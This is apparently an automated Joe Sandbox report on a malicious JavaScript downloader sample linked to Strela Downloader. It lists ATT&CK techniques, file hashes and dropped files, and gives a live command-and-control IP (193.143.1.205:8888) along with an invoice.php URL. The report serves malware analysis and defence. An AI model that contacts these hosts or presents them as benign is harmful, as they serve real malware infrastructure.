Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
273371081152046820.js	3%	Virustotal		Browse
273371081152046820.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/temc	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/&m	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2748085392.00000250650CD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1528232701.000002506A800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1528903849.0000024A9497D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1528903849.0000024A9499C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1528903849.0000024A94948000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/temc	net.exe, 00000007.00000002.1528903849.0000024A94948000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/&m	net.exe, 00000007.00000002.1528903849.0000024A9497D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588175
Start date and time:	2025-01-10 22:18:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	273371081152046820.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 18.213.11.84, 20.109.210.53, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:19:10	API Interceptor	22x Sleep call for process: powershell.exe modified
16:19:14	API Interceptor	1x Sleep call for process: net.exe modified
16:19:14	API Interceptor	2x Sleep call for process: svchost.exe modified
16:19:21	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022100839400585
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAX:RJE+Lfki1GjHwU/+vVhWqpW
MD5:	56C1D612713E1FCE554638B8604C673B
SHA1:	5751B1FB8D24807FF554C7FA16246B1CE4FE491B
SHA-256:	B7F5738990ADF954B8D5BFB5418704E0E2EC6F6FB23FBF5C6AA95ABE41A3D611
SHA-512:	23360B229EF99784BD68D73EE90D0D3BB26D7C1A160ECB9EC743E6081B433675C451690446DC286EAD2021067C561435F378FBFB94B28B9C34EEC50C65E59906
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4eec614e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433343236887967
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	641E560DCBDAA74EC4428B27AF38387C
SHA1:	38F16697B5FECA947BD589C4950CE776BA2F54EC
SHA-256:	996486496A715B00557D10D85EE9D166105B42CE9835668A509C7EE8C1CAD3A7
SHA-512:	8C22926C951C1B9E909D28C52AD9F816F911B15D1833DE7349FC7F226782F23AE5DA8244067AB25F8959F8F21B2E7E5EDE2F75928D01C7AFEB621CCB553D5984
Malicious:	false
Preview:	N.aN... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{.....................................r.....}...........................}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08143940436323992
Encrypted:	false
SSDEEP:	3:wp/UYec/R+Jall/nqlFcl1ZUlllltMY+L/lAllGBnX/l/Tj/k7/t:wKzg+Jall/qlFclQ/l7Z+L/lA254
MD5:	CAE4319F1884EE44FDB7E7497198CF15
SHA1:	CA63BDA1FDE47D16B7BBA577B5B99E48B92A3185
SHA-256:	B6F3D684EE404C100F9012B605E711D5CF97E6E554E71A3F212758C4435BC6D1
SHA-512:	4F019E967A48B9E74A68667613E924DAE91E27E41673BE6EF2553513B6D53A359E44E5F82E0F7F2856FCA9C4FF76CBBF463B4FCA1C36125FB6B5EB761EB809F5
Malicious:	false
Preview:	W.L1.....................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.164854605173802
Encrypted:	false
SSDEEP:	6:iO47L7SQyq2PCHhJ2nKuAl9OmbnIFUtS7qEG1Zmws7qEQRkwOCHhJ2nKuAl9Omb5:7+7SQyvBHAahFUt0g/OQR56HAaSJ
MD5:	573304E8C9E0D45E3D632A997CF5A657
SHA1:	8D2E805F44AC6C6CA7E51B05911417F36E88E4B3
SHA-256:	EB8FA940CDC3714776C5446BDF1D60BFA0886F758422B84C28EAA6D87E6AC29D
SHA-512:	EB60E44EEE0A36492FF098A4F9A9B2076E1EECC030615A416CAD67096176E399C94E9D05A49B23C1E22B75DA4937366BC808AC0B800B73FAD1C64A40103DAB63
Malicious:	false
Preview:	2025/01/10-16:19:14.333 1b10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:19:14.336 1b10 Recovering log #3.2025/01/10-16:19:14.336 1b10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.164854605173802
Encrypted:	false
SSDEEP:	6:iO47L7SQyq2PCHhJ2nKuAl9OmbnIFUtS7qEG1Zmws7qEQRkwOCHhJ2nKuAl9Omb5:7+7SQyvBHAahFUt0g/OQR56HAaSJ
MD5:	573304E8C9E0D45E3D632A997CF5A657
SHA1:	8D2E805F44AC6C6CA7E51B05911417F36E88E4B3
SHA-256:	EB8FA940CDC3714776C5446BDF1D60BFA0886F758422B84C28EAA6D87E6AC29D
SHA-512:	EB60E44EEE0A36492FF098A4F9A9B2076E1EECC030615A416CAD67096176E399C94E9D05A49B23C1E22B75DA4937366BC808AC0B800B73FAD1C64A40103DAB63
Malicious:	false
Preview:	2025/01/10-16:19:14.333 1b10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:19:14.336 1b10 Recovering log #3.2025/01/10-16:19:14.336 1b10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.210420378401332
Encrypted:	false
SSDEEP:	6:iO47C3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtS7H2WZmws7An3VkwOCHhJ2nKuAl9OU:7f3+vBHAa8uFUtC2W/N3V56HAa8RJ
MD5:	602354FA8B0B11E4AE2438CA71AD3E82
SHA1:	EA274C59753BF9103F6A9380E50BC18C6B22C57E
SHA-256:	C88D566286AE5ECD54A1FFE279BF02C249FB98D4B4A8E29EDC5966DE27F15EC9
SHA-512:	EEE21FC7879CC1E09B9190B1152BD54561FAF131C7E3D80C62A8D301376FBBFB87E98F03A04A5E5D702CF58B687F6AC58B245EE1C51B8BA1204A0F2E44A63A0E
Malicious:	false
Preview:	2025/01/10-16:19:14.475 3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:19:14.476 3c Recovering log #3.2025/01/10-16:19:14.477 3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.210420378401332
Encrypted:	false
SSDEEP:	6:iO47C3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtS7H2WZmws7An3VkwOCHhJ2nKuAl9OU:7f3+vBHAa8uFUtC2W/N3V56HAa8RJ
MD5:	602354FA8B0B11E4AE2438CA71AD3E82
SHA1:	EA274C59753BF9103F6A9380E50BC18C6B22C57E
SHA-256:	C88D566286AE5ECD54A1FFE279BF02C249FB98D4B4A8E29EDC5966DE27F15EC9
SHA-512:	EEE21FC7879CC1E09B9190B1152BD54561FAF131C7E3D80C62A8D301376FBBFB87E98F03A04A5E5D702CF58B687F6AC58B245EE1C51B8BA1204A0F2E44A63A0E
Malicious:	false
Preview:	2025/01/10-16:19:14.475 3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:19:14.476 3c Recovering log #3.2025/01/10-16:19:14.477 3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9e27dedb-87e8-44b8-b910-73513534cd32.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974704765305813
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsBdOg2H7caq3QYiub6P7E4T3y:Y2sRdsHdMHC3QYhbS7nby
MD5:	A236E9C199FFF17E4C9C13CED459B752
SHA1:	D1FF7C949D2F353EA4E6EE1B7C0BD96DCD90EF7D
SHA-256:	99628EA723EACF7DD95C0506A2FB82DA01B2B7162477C5B60488B220F63450DF
SHA-512:	979F4FE2DAEA1E520401A5B9DC784D66FEBC8ECD5459FA1CDA98EFF5474CD8E94EB1A37A03FA093CE557FD42D6243933DEEFC5A33C6A9F81A64A60E21711DFAF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103966090955","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":177613},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.974704765305813
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhsBdOg2H7caq3QYiub6P7E4T3y:Y2sRdsHdMHC3QYhbS7nby
MD5:	A236E9C199FFF17E4C9C13CED459B752
SHA1:	D1FF7C949D2F353EA4E6EE1B7C0BD96DCD90EF7D
SHA-256:	99628EA723EACF7DD95C0506A2FB82DA01B2B7162477C5B60488B220F63450DF
SHA-512:	979F4FE2DAEA1E520401A5B9DC784D66FEBC8ECD5459FA1CDA98EFF5474CD8E94EB1A37A03FA093CE557FD42D6243933DEEFC5A33C6A9F81A64A60E21711DFAF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103966090955","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":177613},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.23218213366929
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+brdx3f:S43C4mS7fFi0KFYDjr3LWO3V3aw+brdZ
MD5:	3C3D63036079452FAA34618A8EE624B5
SHA1:	869572E61C688DC2670A4157DB8466A8C1C49395
SHA-256:	4431116B6446B632A47F1062F8E4B27692B2D629BDDFFE5C5FC59B508A006910
SHA-512:	1A6920396879322B6C8650BE3DDA8D1A415DDE1FB652A28F0BA7B7CB53ACDB24F6F229B6EE4CA05B1FD51D7619A2D8C9888FC21FDC1D86C77D012F30E8879402
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.221291437068986
Encrypted:	false
SSDEEP:	6:iO47j+q2PCHhJ2nKuAl9OmbzNMxIFUtS7SWZmws7hB3VkwOCHhJ2nKuAl9OmbzNq:7A+vBHAa8jFUtxW/qB3V56HAa84J
MD5:	8561A229967B6AD3621ECA1A4FC538DA
SHA1:	AA92870BA1F38D1740FAD8E9F32C4D1FAE7E55C7
SHA-256:	E69A5F75830564F20E8D85F8F33C41623DEAC8EEE598288C31634A73D9D3F36C
SHA-512:	BA17E0E932A14BA4A9B21F5965C5D53F8688ED7DDB6E4DE36DA0500FFFCE9BAC1372C6F94AD1F61F29D12E70A74DF4074603EEC4C12F1D363AE613B126528F56
Malicious:	false
Preview:	2025/01/10-16:19:14.809 3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:19:14.818 3c Recovering log #3.2025/01/10-16:19:14.827 3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.221291437068986
Encrypted:	false
SSDEEP:	6:iO47j+q2PCHhJ2nKuAl9OmbzNMxIFUtS7SWZmws7hB3VkwOCHhJ2nKuAl9OmbzNq:7A+vBHAa8jFUtxW/qB3V56HAa84J
MD5:	8561A229967B6AD3621ECA1A4FC538DA
SHA1:	AA92870BA1F38D1740FAD8E9F32C4D1FAE7E55C7
SHA-256:	E69A5F75830564F20E8D85F8F33C41623DEAC8EEE598288C31634A73D9D3F36C
SHA-512:	BA17E0E932A14BA4A9B21F5965C5D53F8688ED7DDB6E4DE36DA0500FFFCE9BAC1372C6F94AD1F61F29D12E70A74DF4074603EEC4C12F1D363AE613B126528F56
Malicious:	false
Preview:	2025/01/10-16:19:14.809 3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:19:14.818 3c Recovering log #3.2025/01/10-16:19:14.827 3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
